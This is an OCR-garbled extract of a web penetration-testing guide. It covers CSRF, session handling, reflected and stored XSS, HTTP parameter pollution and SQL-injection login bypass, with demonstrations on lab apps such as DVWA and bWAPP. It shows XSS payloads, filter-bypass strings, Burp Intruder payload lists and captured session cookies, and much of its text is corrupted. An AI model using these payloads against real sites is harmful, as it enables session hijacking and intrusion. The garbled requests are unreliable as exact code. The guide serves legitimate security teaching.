Accept: text/html, licat xhtml+xml, licat xml;q=0.9,%/*;¢q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222. 136/bWAPP/portal. php)
Cockie: dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-, E-gadvancedstuff=0-,1-,2-; security_level=0; acopendivids=swingset,jotto,phphb2,rednine; acgroupswithpersist=nada;
PHPSESSID=h111535bipkloSSent b7; dhc3Bid2E=; JSESSIONI 51225304320EEFASAALF4EECDIBOSS
_cyclone_session=BAh7BOkiD3N1c3Npb25 faWQG0gZF Rk iJTQ3ZWIiNDIhYnYxMDe1MWIhN ] E2ZDMOM] g4 YTQxNDQyB] SAVE: iEFS3 c3TmX3RvaiVuBj sARkk iMTk 1ViZnlydi. T SBisA

Rg$3D%3D--2leaa
Connection: close
Upgrade-Insecure-Requests: 1

2aB15394£3798£898bc19ce77£34497be; remember_token=Stu37BrvdLCePfSwaD7xdg

Testing for Proxies & Caching vulnerabilities

The “Expires: 0” and Cache-Control: max-age=0 directives should be used to further ensure caches do

not expose the data. Each request/response passing Session ID data should be examined to
ensur
e appropriate cache directives are in use.

3445  https://attack.samsclass.info GET /cookielogin/messageboard.php 200 1861 HTML php Message Board
3446  https://attack. samsclass.info HEAD Icookielogin/messageboard.php 200 265 HTML php

3447  https://attack.samsclass.info GET Icookielogin/logout.php?Logout=Logout v 200 645 HTML php Logout

3443  https://attack. samsclass.info GET Icookielogin/cookielogin.php?n=&p= v v 302 592 HTML php Logging In

<
Request | Response
Raw l Headers | Hex | HTML T Render ]

HTTP/1l.1 200 0K

Date: Mon, 05 Mar 2018 07:26:02 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Vary: Accept-Encoding

Expect-CT: max-age=£04800, report-uri="https://report-uri.cloudflare.con/cdn-cgi/beacon/expect-ct"
Server: cloudflare

CF-PAY: 3f€adalfeBa3328f-HKG

Content-Length: 1551

Testing for GET & POST vulnerabilities

All server side code receiving data from POST requests should be tested to ensure it does not
accept the data if sent as a GET.

| 3469 hitp//192.168.222.136 GET bWAPP/smgmt_sessionid_urlphp?PHP.. 200 11473 HTML php bWAPP - Session Manag... 192.168.222.136 [
« i

Request | Response
Raw | Params | Headers | Hex

GET /BLWAPP/sug essionid_url.php? PHPSESSID=h11153ShipkkoSSenh0avp fvb7 HTTP/1.1
Host: 192.168. 136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:
Accept: text/html,application/xhtml+xml,application/xml;
Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.222.136/bWAPP/portal.php

Cockie: dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-cadvancedstuff=0-,1-,2-; security_level=0; acopendivids=swingset,jotto,phpbbZ,redmine; acgroupswithpersist=nada
PHPSESSID=h11153ShipkkoS T rver d2E=; JSESSIONID=E151225304320EEFASAALF46E2DIBIS
_eyelone_session=BAh7BOkiD3N1e3Nph2 0gZFRkk i TQ3ZWI iNDIhYnY <MD 1MWIhN E2ZDMOM] g4 YTQxNDQyB ) sAVE) i
gt 3D%3D--21eaat62aBl5394£3790£898bclSce7T£34497he; remember_token=Stul7BrvdLCePfSwaD7xdg

Connection: close

Upgrade-Insecure-Requests: 1

20100101 Firefox/58.0
8

93 3ImK3RvacVuB] sARkk iMThThnhnZ0MzSHAVS 1ViZnlydk S0V0sr enhpSVIZWHBoWWA) SEdxdUphYVE SBy sA

5. Testing for Cross Site Request Forgery (CSRF)

CSREF is an attack which forces an end user to execute unwanted actions on a web application in
which he/she is currently authenticated. With a little help of social engineering (like sending a link



via email or chat), an attacker may force the users of a web application to execute actions of the
attacker's choosing. A successful CSRF exploit can compromise end user data and operation,
when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack
can compromise the entire web application.



How to Test

Let u the URL being tested, u=http://abc.com/action

® localhost:8080/mutillidae/index.php?page=add-to-your-blog.php c | * Q Search

-

OWASP 2017

v
—

Welcome To The Blog

OWASP 2013

OWASP 2010 4 <§ Back e Help Me!

OWASP 2007

v Hints and Videos

Web Services

—~Add New Blog Entry
HTML 5 —

A View Blogs

Documentation [ Add blog for anonymous ]

Resources [ Note: <b>,<i> and <u> are now allowed in blog entries ]

<

PayPal - The safer, easier
way to pay online!
Want to Help?

You

—_—,

Video Tutorials

(S —
Build an html page containing the http request referencing URL u (specifying all relevant

parameters, in the case of http GET this is straightforward, while to a POST request you need to
resort to some javascript).

Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts

Target T Proxy Spider T Scanner Intruder T Repeater

_[ intercept T HTTP history T WebSockets history T Options ]

# | Request to hitp://localhost:8080 [127.0.0.1]

[ Forward J [ Drop J [ Intercept is on ] [ Action J Comment this item BR W&
_[ Raw TParams THeaders THex ]

POST /mutillidae/index.php?page=add-to-your-blog.php HTTP/1.1 A
Host: localhost:8080 -

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW&4; rv:55.0) Gecko/Z0100101 Firefox/55.0
Accept: text/html,application/xhtmnl+xml, application/xml;gq=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost:8080/mutillidae/index.php?page=add-to-your-blog.php
Content-Type: application/x-www-form-urlencoded

Content-Length: 94

Cookie: showhints=1l; username=admin; uid=l;
__distillery=24f7cbb_77febl&7-aaca-4269-949c-dZ80cec37£f26-93al8baal-chZ09£flch0eb-h477;
PHPSESSID=tSZ22660tpm4r2rh4ZpémeeisSbhp

Connection: close

Upgrade-Insecure-Recuests: 1

csrf-token=&blog_entry=hellotguytItantAdningadd-to-your-blog-php-subnit-button=Save+Blog+Ent

o




DOCTYPE html

Treasure

Make sure that the valid user logged on the application

VIiUTHHAde 1. YWeD FWI I vViass rFroagucuon

0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Logged In Admin: admin (g0t r00t?)

ow Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

Welcome To The Blog

Ip Me!

Videos

| Add blog for admin ]

Induce him into following the link pointing to the URL to be tested (Social engineering involved
if you cannot impersonate the user yourself)

[ Treasure X

C | @ file:///C:/Usel

click here to get 20003

Observe the result, check if the web server executed the request

17,\ View Blogs
2 Current Blog Entries
Name Date Comment
1 admin 2017-10-05 03:21:49 CSRF demo by Cloud HvN
2 admin 2009-03-01 22:31:13 Fear me, for | am ROOTI




// CSRF with Burp



6. Testing for logout functionality

How to Test
Testing for log out user interface
There are some properties which indicate a good log out user interface

e A log out button is present on all pages of the web application

e The log out button should be identified quickly by a user who wants to log out from the web
application

e After loading a page the log out button should be visible without scrolling

e Ideally the log out button is placed in an area of the page that is fixed in the view port ofthe
browser and not affected by scrolling of the content

Hey ! Shinobibughunter Wel-Come
gACMELAPTOF

Categories Home Buy Career About us Contact

about
> Compaq

> Dell AcmeLaptop is a unique laptop store which believes in giving best deals to clients for the laptops. We have different brands of laptops with different configuration at low and affc

Gatewa) . . .
’ 4 Customer satisfaction is our business model.

> Hewlett

> lbm
> Sony
> Toshiba

Verify that the following scenario: Login to the system, access a authozied page, copy the url of
the page, logout, paste the URL in the address bar, click on go, click on another authozied page,
the system requires the permission to access it.

gACMELAPT op

Categories Home Buy Career About us

> Acer

> Compag USERNAME: :
> Dell
PASSWORD: [

> Hewlett Login

> Gateway

> Ibm

If you have forgotten your password, click on forgot password
> Sony

> Toshiba



@ @& https://phpapp.infosecaddicts.com/login.php?error=Sessio

gACMELAPT op

> Acer

> Compag
> Dell

> Gateway
> Hewlett
> |bm

> Sony

> Toshiba

gy Register

Home

eee @ php ﬁ

Career | Aby

Logout

You have been logged out. Thank you very much for your interest.

Home | Contact | Log in |

Message Board

- K

® & https://games.samsdlass.info/cookielogin/messageboard.php

(H)

!Call Stack

# |Time Memory

Function

Location

1 0.0001

233088

{main}()

.../messageboard.php:0

> Post Comment

Erase Comments ‘

Logout






7. Test Session Timeout

The proper value for the session timeout depends on the purpose of the application and should
be a balance of security and usability. In a banking applications it makes no sense to keep an
inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum
could annoy users which are typing lengthy articles with unnecessary log in requests. There
timeouts of an hour and more can be acceptable.

How to test

Test with Burp extension

[Target T Proxy TSpider TScanner T Intruder TRepeater T Sequencer TDecoder T Comparer T Extender TProjed options T User options TAlerts ]

[ Extensions TBAppStnre l APIs | Options ]

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities.

Name | Installed | Rating | Popularity | Lastupdated | Detail |
Sentinel W —— ] 10 Apr 2017 Pro extension 2 Session Timeout Test
Session Auth ey —1 24 Jan 2017 -
Session Timeout Test J ey — 01 Jul 2014 This extension attempts to determine how long it takes for a session 1
Session Tracking Checks vy —1 05 Jan 2018 increasing delays until a configured string appears in the response.
Site Map Extractor Trirdrveer — 11 Jan 2018
Site Map Fetcher YTy —t 22 Jan 2015 Author:  August Detlefsen
Software Version Reporter WWrwy —1  08Feb2018 Pro extension Aeslons: <41
Software Vulnerabilty Scanner wwwy —  17Ju2017 Pro extension T,
SpyDII' {‘{\ﬁ'\’_\(\f H 08 Feb 2017 urce: nups://ginub.com/poriswigger/session-imeout-tes
SQLiPy Sqimap Integration vrirvrvryr ——— 08 Jan 2018 Updated:  01.Jul2014
Swagger Parser Yoty —1 10 Jan 2018 § —_————
Target Redirector wirvrwyr — 16 Jan 2018 Rating: iﬁ’ﬁﬁﬁ Submit rating
ThreadFix WWWY =1 25 Jan 2017 Pro extension .
Popularity: H
Token Incrementor wawww — 02 Jan 2018 opuiarty
Tokenlar watrsryr —4 25 Jan 2017 0
UUD Detector wuawy —i 23 Feb 2017 Reinstall
WAF Cookie Fetcher whvaw — 16 Jan 2018
] Lonents
v [ bWAPP
0 Host
D 668 http://192.168.222.136
[ ba_logout.php hitp://192.168.222.136
[ ba_logout_1.php hitp://192.168.222.136
» & commandi_blind.php
credits.ph =
[ credts.php (& http://192.168.222.136/bWAPP/login.php
» & htmli_current_url.p
[ ntmii_get.php Add to scope
» [ images Spider this branch
D) info.php Actively scan this branch

» i insecure_direct_ob

Passively scan this branch
» & insecure_direct_ob ry

> & insecure_direct_ob Send to Intruder Ctri+l
» [ s Send to Repeater Ctr+R
» i3 Idap_connect.php Send to Sequencer

[ idapi.php Send to Comparer (request)

i login.php

[ 1ogout.php

D password_change
» & portal.php Request in browser >

[ reset.php Test for Session Timout
m - - - -

Send to Comparer (response)
Show response in browser




Session Timeout Test

controls | Status |
Test Parameters
p-
String to match: Login
Minimum Session Duration: 15|
Maximum Session Duration: 120
Interval: 1
Testing... | STOP TEST

Session Timeout Test

| controis | status |

Test Status

Testing Interval:
Next Test:
Total Time Elapsed:

Time Remaining:

Testing...

15 minutes

0:14:54

0:00:06

119:14:54

STOP TEST

Session Timeout Test

[ controls | status |

Test Status
-

Testing Interval:
Next Test:
Total Time Elapsed:

Time Remaining:

Session timeout detected: 15 minutes

15 minutes

0:00:00

0:15:00

119:00:00

START TEST




Input Validation Testing
Testing for Cross site Scripting

Cross Site Scripting (XSS) testing checks if it is possible to manipulate the input parameters of the
application so that it generates malicious output. Testers find an XSS vulnerability when the
application does not validate their input and creates an output that is under their control. This
vulnerability leads to various attacks, for example, stealing confidential information (such as
session cookies) or taking control of the victim's browser. An XSS attack breaks the following
pattern: Input -> Output == cross-site scripting.

1. Testing for Reflected Cross Site Scripting

Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code
within a single HTTP response. The injected attack is not stored within the application itself; it is
non-persistent and only impacts users who open a maliciously crafted link or third-party web page.
The attack string is included as part of the crafted URI or HTTP parameters, improperly processed
by the application, and returned to the victim.

REFLECTEDX S S
NON-PERSISTENT
%' | %

W!l APPLICATION SERVER DATABASE SERVER

-

g

‘I

ATTACKER

i
3
‘
1
i
‘
i
i

@

f==""1

==arores
CLIENTC

How to Test



Detect input vectors. For each web page, the tester must determine all the web application's user-
defined variablesand how to input them. This includes hidden or non-obvious inputs such as HTTP
parameters, POST data, hidden form field values, and predefined radio or selection values.
Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the
tester will typically use specially crafted input data with each input vector. Such input data is
typically harmless, but trigger responses from the web browser that manifests the vulnerability.
Testing data can be generated by using a web application fuzzer, an automated predefined list of
known attack strings, or manually.

For each test input attempted in the previous phase, the tester will analyze the result and determine
if it represents a vulnerability that has a realistic impact on the web application's security. This
requires examining the resulting web page HTML and searching for the test input. Once found, the
tester identifies any special characters that were not properly encoded, replaced, or filtered out. The
set of vulnerable unfiltered special characters will depend on the context of that section of HTML.

Example

In this case, in first step, we need to detecting all input vectors which can affected by XSS, such as
input field or any URL's parameters.

efox

Tools Help
] | http:/{192.168.1.105/Bookapp{BasicSearch. aspx?Word=foo 77 - E
atest Headlines
no ratch Found For "foo”
¢
Books Forever L Ihesl
Home Login Contact
Books Search Search Result Welcome guest !

Latest Releases & News
Title v Go

—_— July 21st, 2009

This is a template
designed to explore
web services (SOAP)
attacks,

Advanced Search




efox

Tools Help

] [ http:f192.168.1.105/Bookapp/BasicSearch, aspx?Word=foo ﬁ v

atest Headlines
no match Found for "foo”

A
Books Forever <script>alet(123)}/s

Contact

Home Login

Search Result Welcome guest !

Books Search

Latest Releases & News

Title v JSe

Advanced Search

July 21st, 2009

This is a template
designed to  explore
web services (SOAF)
attacks,

Script executed

ks Tools Help

|j | http:/192.168.1.105/BookApp/BasicSearch,aspx?Word= <script >alert{123); </script >

Latest Headlines

The page at http://192.168.1.105 says:

._!A 123

e Generate testing data with fuzzer or manually.



Target | Proxy | Spider | Scanner Tlntruder IRepeater TSequen(er TDecuder TComparer TExtender IPro}ect options TUser options | Alerts

Target | Positions | Payloads | Options

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: LSniper

Start attack

[GET /Basicsearch.aspx?Word=§foo§ HTTP/L.1

Hoat: aspdotnetapp.infosecaddicts.com

User-Agent: Mozilla/5.0 (Macintosh; Intsl Mac 05 X 10.13; rvi62.0) Gecko/20100101 Pirefox/6€8.0

accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/*;g=0.8

Accept-Language: en-us,en;g=0.5

accept-Encoding: gzip, deflate

connection: close

Cookie: _ cfduid=dc6029645059a793349b3b819das03f6al564954288; _ga=GAl.2.781573113.1564954291; _ avc=4e20d75bléc5e988ealiSblalaf;
|__tawkouid infosecaddicta.com: : Aptkf xQPPEGHh 88KETQESwykEPHURU+55 9K £d 82 5w0C N tFQ+agNYENXACBh X/
fbp=fb.1.1564955153850.4 1704 1806; _gid=GAl.2.1223647954. 1565405500

Upgrade-Insscurs-Requesta: L

cache-control: max-age=0

2; __strips_mid=b53£835b-625c-4a04-8fe8-075c7bbcaTct;

1 x |

Target | Positions Thyhlﬁ T Options ]

@ Payload Sets

‘You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be

customized in different ways.

Payload set: 1 | Payload count: 4

Payload type: | Simple list > Request count: 4

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste <script=alert(1');</script>

Load ... <IMG SRC=JaVaScRiPt:alert(XSS')>

<IMG SRC=j XSS")>

<META HTTP-EQUIV="refresh” CONTENT="0;url=java...

Analyze the results

Start attack

Add§
_ Clears |
_ Auos
 Refresh |



Attack Save Columns

| Resuts | rarget | postions [ payioads | optons |

I Filter: Showing all items

Request | Payload |status  |Eror | Timeout |Length 4 | Comment
0 200 @] (J 4985
1 <script=alert(1');</script> 200 a g sn2
3 <IMG SRC=JaVaScRiPtalert(XS... 200 @] O s017
2 <IMG SRC=javascript:alert("XS... 200 a @] 5018
4 <META HTTP-EQUIV="refresh” .. 200 Q J  s0s3

(o [rpmal

[ Raw | Headers | Hex | HTuL | Render |

<p>What's your name?</p>
<input type="text" name="name">
<input type="submit" value="Submit">
</form>
<pre>Hello <script>alert('l');</script></pre>

</div>

<hZ>More info</hI>

ks Tools Help

|j | http:/{192.168.1.105/BookApp/BasicSearch. aspx?Word=<script =alert(123); </script >

Latest Headlines

The page at http://192.168.1.105 says:

ﬁ 123

Bypass XSS filter



Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web
application firewall blocks malicious input, or by mechanisms embedded in modern web browsers.
The tester must test for vulnerabilities assuming that web browsers will not prevent the attack.
Browsers may



be out of date, or have built-in security features disabled. Similarly, web application firewalls are
not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that
is unrecognized by the web application firewall.

References this link for more information

e https://www.owasp.org/index.php/XSS_Filter Evasion_Cheat_Sheet
Example

e Pentester can open and review page source to analyze source code for filtering XSS mechanism

® 192.168.111.140/dvwa/vulnerabilities/xss_r/?name= <script>alert('1") < %2Fscript># v 9

—)
DVWA)

T | Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions |
Setup | What's your name?

Brute Force |

1o alerc('1l')

Command Execution |
CSRF |

® 192.168.111.140/dvwa/vulnerabilities/view_source.php?id=xss_r&security=medium

Reflected XSS Source

<?php

if(!array key exists ("name", $ GET) || $_GET['name'] == NULL || $§ GET['name'] == ''){
Sisempty = true;

} else {

echo '<pre>';

Yol RS- CAR - =t replace ('<script>', '', § GET['name'])R

echo '</pre>';

2>



(® 192.168.111.140/dvwa/vulnerabilities/xss_r/2name= <sEript>aIert('l')<%2FsCript>#

2. Testing for Stored Cross Site Scripting

Stored XSS occurs when a web application gathers input from a user which might be malicious,
and then stores that input in a data store for later use. The input that is stored is not correctly
filtered. As a consequence, the malicious data will appear to be part of the web site and run within
the user’s browser under the privileges of the web application. Since this vulnerability typically
involves at least two requests to the application.



et XSS
OR
PERSISTENT




How to
Test Input

Forms

e The first step is to identify all points where user input is stored into the back-end and then
displayed by the application. Typical examples of stored user input can be found in:

O

O O O O O

User/Profiles page: the application allows the user to edit/change profile details such as
first name, last name, nickname, avatar, picture, address, etc

Shopping cart: the application allows the user to store items into the shopping cart which
can then be reviewed later

File Manager: application that allows upload of files

Application settings/preferences: application that allows the user to set preferences
Forum/Message board: application that permits exchange of posts among users

Blog: if the blog application permits to users submitting comments

Log: if the application stores some users input into logs.

Analyze HTML code

Input stored by the application is normally used in HTML tags, but it can also be found as part of
JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is
positioned in the context of the page. Differently from reflected XSS, the pen-tester should also
investigate any out- of-band channels through which the application receives and stores users

input.

Note: All areas of the application accessible by administrators should be tested to identify the
presence of any data submitted by users.

Example



[®] Damn Vulnerable Web App (D' X ‘ ==

C o @ 192.168.1.40/dvwa B - 9 % N GD

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

Sign Guestbook

Name: test
Message: This is a test comment.

Name: Peter Winter
Message:

M& http://192.168.1.40 POST Idvwalvulnerabilities/ixss_s/ v 200 5654 HTML Damn Vulnerable Web A...
-

Request | Response
Raw ParamsTHeaders Hex

POST /dvwa/vulnerabilities/xss_s/ HTTP/1l.1

Host: 192.168.1.40

User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4; rv:58.0) Gecko/Z0100101 Firefox/58.0
Accept: text/html,application/xhtml+txml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://192.1€8.1.40/dvwa/vulnerabilities/xss_s/

Content-Type: application/x-www-form-urlencoded

Content-Length: 56

Cookie: security=low; PHPSESSID=mbll0e9a44113731lrt58spfe75; acopendivids=swingset, jotto,phpbbl,rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Recquests: 1

txtName=Cloud&éntxMessage=hitcloudsbtnSign=SigntGuestbook




44 hitp/i192.168.1.40 Idvwalvulnerabilities/xss_s/ v 200 5654 HTML Damn Vulnerable Web A...
-«

[ Recuest [ Response |
[ Raw | Headers [ Hex | HTuL | Render |
o Upload
o XSS reflected
 xsssored___|

« DVWA Security

Name: test
« PHP Info Message: This is a test comment.
About .
* Name: Peter Winter
« Logout Message:
Name: Cloud
Message: hi cloud
- Burp Intruder Kepeater Window Help
<)o X @ ® 192.168.1.40/dvwa/vulneral w N o=

[ Sequencer T Decoder T Comparer T Extender T Project options T User options TAlem ]

[ Target T,_m—I Spider T Scanner T Intruder I Repeater ]
[t ety | wetsocets oy | optors |

| Fiter: Hiding CSS, image and general binary content | @
# A|Host | Method | URL | Params | Edited | Status
28 hitp:/i192.168.1.40 POST Idvwallogin.php v 302
29 nhttpidetectportal firefox.com GET Isuccess.txt 200
30 http/192.168.1.40 GET Idvwalindex php 200
32 hitp/192.168.1.40 GET IdvwaldvwalsidvwaPage js 200
35 hitp/192.168.1.40 GET Idvwalvunerabilties/xss_s/ 200
, PHPSESSID: 411373 36 http://192.168.1.40 GET ! 200
acopendivids=swingset jotto,phpbb2 redmine; 37 hitp:/1192.168.1.40 GET liquery.min.js 200
acgroupswithpersist=nada 39 hitp192.168.1.40 GET Janimatedcollapse js 200
44 hitp/192.168.1.40 POST  /dvwalvulnerabitiesixss_s/ v 200
45 http://192.168.1.40 POST Idvwalvulnerabiliies/xss_s/ v 200
«

R Rosponse

[l paaen T | v

Host: 192.168.1.40

User-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtmltxml lication/xml;q=0.9,%/%;q=0.8

Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://192.168.1.40/dvwa/vulnerabilities/xss_s/
Content-Type: lication/x-www-form-url ded
Content-Length: 106

Cookie: security=low; PHPSESSID=mbll0e5a44113731rtS8spfe7s;

acopendivids=swingset,jotto,phpbbl, reduine; acgroupswithpersist=nada
Connection: close
Upgrade-Insecure-Requests: 1

1 kiet

-

n=sign+Guestbook

D3 doc 12168140 2 ) <] (=) (2] [1pe 2 searchterm 0 matches



[slfe]=] i

s Damn Vulnerable Web App (DVEX [ OwaspT X ' [) bwapp-t X By Google | X (8 Calic 41X )/ © DamnV x

&« - X B ® 192.168.1.40/dvwa/vulnera w N @O =l € X | ® 192.168.1.40/dvwa/vulnerabilities/xss._s/

192.168.1.40 cho biét

security=low; PHPSESSID=f29pti%etj0t7neul7t230mial

security=low; PHPSESSID=mbll0e92a44113731rt58spf675;
ivi i jotto,phpbb2 redmine;
acgroupswithpersist=nada

Da doc192.168.1.40

//Some XSS exploit demo

//Xenotic tools, xsstrike,automate scanner

3. Testing for HTTP Verb Tampering

References: Configuration and Deployment Management Testing - Test HTTP Methods

4. Testing for HTTP Parameter pollution

Supplying multiple HTTP parameters with the same name may cause an application to interpret
values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input
validation, trigger application errors or modify internal variables values. As HTTP Parameter
Pollution (in short HPP) affects a building block of all web technologies, server and client side
attacks exist.

Current HTTP standards do not include guidance on how to interpret multiple input parameters
with the same name. By itself, this is not necessarily an indication of vulnerability. However, if
the developer is not aware of the problem, the presence of duplicated parameters may produce an
anomalous behavior in the application that can be potentially exploited by an attacker. As often in
security, unexpected behaviors are a usual source of weaknesses that could lead to HTTP



Parameter Pollution attacks in this case. To better introduce this class of vulnerabilities and the
outcome of HPP attacks, it is interesting to analyze some real-life examples that have been
discovered in the past.

How To Test



A more in-depth analysis would require three HTTP requests for each HTTP parameter:

e Submit an HTTP request containing the standard parameter name and value, and record the HTTP
response. E.g.page?parl=vall

e Replace the parameter value with a tampered value, submit and record the HTTP response. E.g.
page?par]1=HPP TEST1

e Send a new request combining step (1) and (2). Again, save the HTTP response. E.g.
page?parl=vall&parl=HPP TESTI

e Compare the responses obtained during all previous steps. If the response from (3) is different from
(1) and the response from (3) is also different from (2), there is an impedance mismatch that may
be eventually abused to trigger HPP vulnerabilities.

e Crafting a full exploit from a parameter pollution weakness is beyond the scope of this text. See
the references for examples and details.

Example

& (& Q‘ ® 192.168.1.40/bWAPP/hpp-1.php

an ex+reme|y buaay web app !

Buas Chanae Password Create User Set Securi-h/ Level Reset

/ HTTP Parameter Polution /

In order to vote for your favorite movie, your name must be entered

cIoudI | Continue



s¥ bWAPP - HTTP Parameter Poll X

& C (D 192.168.1.40/bWAPP/hpp-2.php il (e el el e e s

C—
v

an extremely Iouaay web opp |

Buas Chanae Password Create User Set Secur‘H—y Level Reset

/ HTTP Parometer Pollution /

Hello Cloud, please vote for your favorite movie

Remember, Tony Stark wants to win every time..
Title Release Character Genre Vote
G.l. Joe: Retaliation 2013 Cobra Commander action Vote
Iron Man 2008 Tony Stark action Vote

Man of Steel 2013 Clark Kent action Vote

Burp Intruder Repeater Window Help
[Turget Proxy | Spider | Scanner [ Intruder | Repeater T Sequencer I Decoder I Comparer I Extender I Project options T User options | Alerts
Al ..
Go

Target: http:/192.168.1.40 |.#] |

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /LWAPP/hpp-3.php?movie=lename=cloudsaction=vote HTTP/L.1 A
Host: 192.168.1.40 r <div id="main">
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWE4; rv:58.0) Gecko/20100101
Firefox/58.0 <h1>HITP Parameter Pollution</hl>
Accept: text/html,applicat xhtnlt+xml,applicat xml;q=0.8,*/%;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 <p>Your favorite movie is: <b>G.I. Joe: Retaliati b></p><p you for itting your vote!</p>
Accept-Encoding: gzip, deflate </div>
Referer: http://192.168.1.40/bWAPR/hpp-2.php?name=cloudeaction=vote
Cookie: PHPSESSID=t4d31d2ch35pEghulerl8skiml; <div id="side">
acopendivids=swingset,jotto,phpbbl, rednine; acgroupswithpersist=nada;
security_level=0 <a href="http://itsecgames.blogspot.com" target="blank_" class="button"><img
Connection: close sre="./images/blogger.png"></a>
Upgrade-Insecure-Requests: 1 <a href="http://be.linkedin. com/in/malikmesellen” target="blank " class="button"><ing
sre="./images/linkedin.png"></a>




Burp Intruder Repeater Window Help
_[[varget [ proxy | spiger | scanner | intrer | Repeater | sequencer | Decoder | comparer | extender | prjectoptns | user optons | aens |

(o] (comen) [-<in] |

il

Target: http:/192.

Request Response

@P&m Headers | Hex Eneaders Hex | HTML | Render

GET /bWAPP/hpp-3.php?movie=l&name=cloudséaction=vote&movie=3 HTTP/1.1
Host: 192.168.1.40

ba g

<div id="main">
User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4; rv:$8.0) Gecko/20100101
Firefox/58.0 <hl>NITP Parameter Pollution</hl>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.40/bWAPP/hpp-2.phpiname=cloudsaction=vote
Cookie: PHPSESSID=t4d3ld2ch3SpéghmSerl88kinl;
acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=nada;
security_level=0

<p>Your favorite movie is: <h>Man of Steelk/h></p><p you for
</div>

your vote!</p>

<div id="side">

<a href="http://itsecgames.blogspot.com” target="blank_ " class="button"><ing
Connection: close sre="_/images/blogger.png"></a>
Upgrade-Insecure-Requests: 1 <a href="http://be.linkedin. con/in/malikmesellen” target="blank_" class="button"><img

| sre=r./images/linkedin.png"></a>

register with name: cloud&movie=3 and vote for movie with id=1

AP - HTTPParametr Pl

l\(—l - Q ‘ ® 192.168.1.40/bWAPP/hpp-2.php?name=cloud%26movie%3D3&action=vote

/ HTTP Parameter Pollution /

Hello Cloud&movie=3, please vote for your favorite movie.

Remember, Tony Stark wants to win every time...

G.I. Joe: Retaliation 2013 Cobra Commander action Vote
Iron Man 2008 Tony Stark action Vote

Man of Steel 2013 Clark Kent action Vote

147 hitp:/i192.168.1.40 GET IDWAPP/hpp-3.php?movie=1&name=clo... v 200 11300 HTML php DWAPP - HTTP Paramete...
149 hitps://shavar.services.mozilla.c... POST /downloads?client=navclient-auto-ffox... v 200 205 text
<\

iy veooone: | _
_{ Raw | params | Headers | ex |

GET /bH’APP/hpp-S.php?hwielliname=cleud£novie=3iaction=vo:e HTTP/1.1
Host: 192.1€8.1.40

User-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rv:58.0) Gecko/Z01l00101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.40/bWAPP/hpp-2.php?name=cloudt’émoviet3D3saction=vote
Cookie: PHPSESSID=t4d31ld2ch35pEghm8erl88kjml; acopendivids=swingset, jotto,phpbbl,redmine; acgroupswithpersist=nada; security_ level=0
Connection: close

Upgrade-Insecure-Recuests: 1



147 http://192.168.1.40 GET IbWAPP/hpp-3.php?movie=1&name=clo... v 200 11300 HTML php bWAPP - HTTP Paramete...
149 hitps://shavar.services.mozilla.c... POST Idownloads?client=navclient-auto-ffox... v 200 205 text
[«

Request | Response
Raw | Headers | Hex | HTML IRender]

HTTP Parameter Pollution

Your favorite mavie is: Man of Steel

Thank you for submitting your vote!

5. Testing for SQL Injection

An SQL injection attack consists of insertion or "injection" of either a partial or complete SQL
query via the data input or transmitted from the client (browser) to the web application. A
successful SQL injection attack can read sensitive data from the database, modify database data

(insert/update/delete), execute administration operations on the database (such as shutdown the
DBMS), recover the content of a given file existing on the DBMS file system or write files into
the file system, and, in some cases, issue commands to the operating system. SQL injection attacks
are a type of injection attack, in which SQL commands are injected into data-plane input in order
to affect the execution of predefined SQL commands.

Authentication Bypass



® e http://www, mywebsite/forums/

Username | @ oy

Password

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

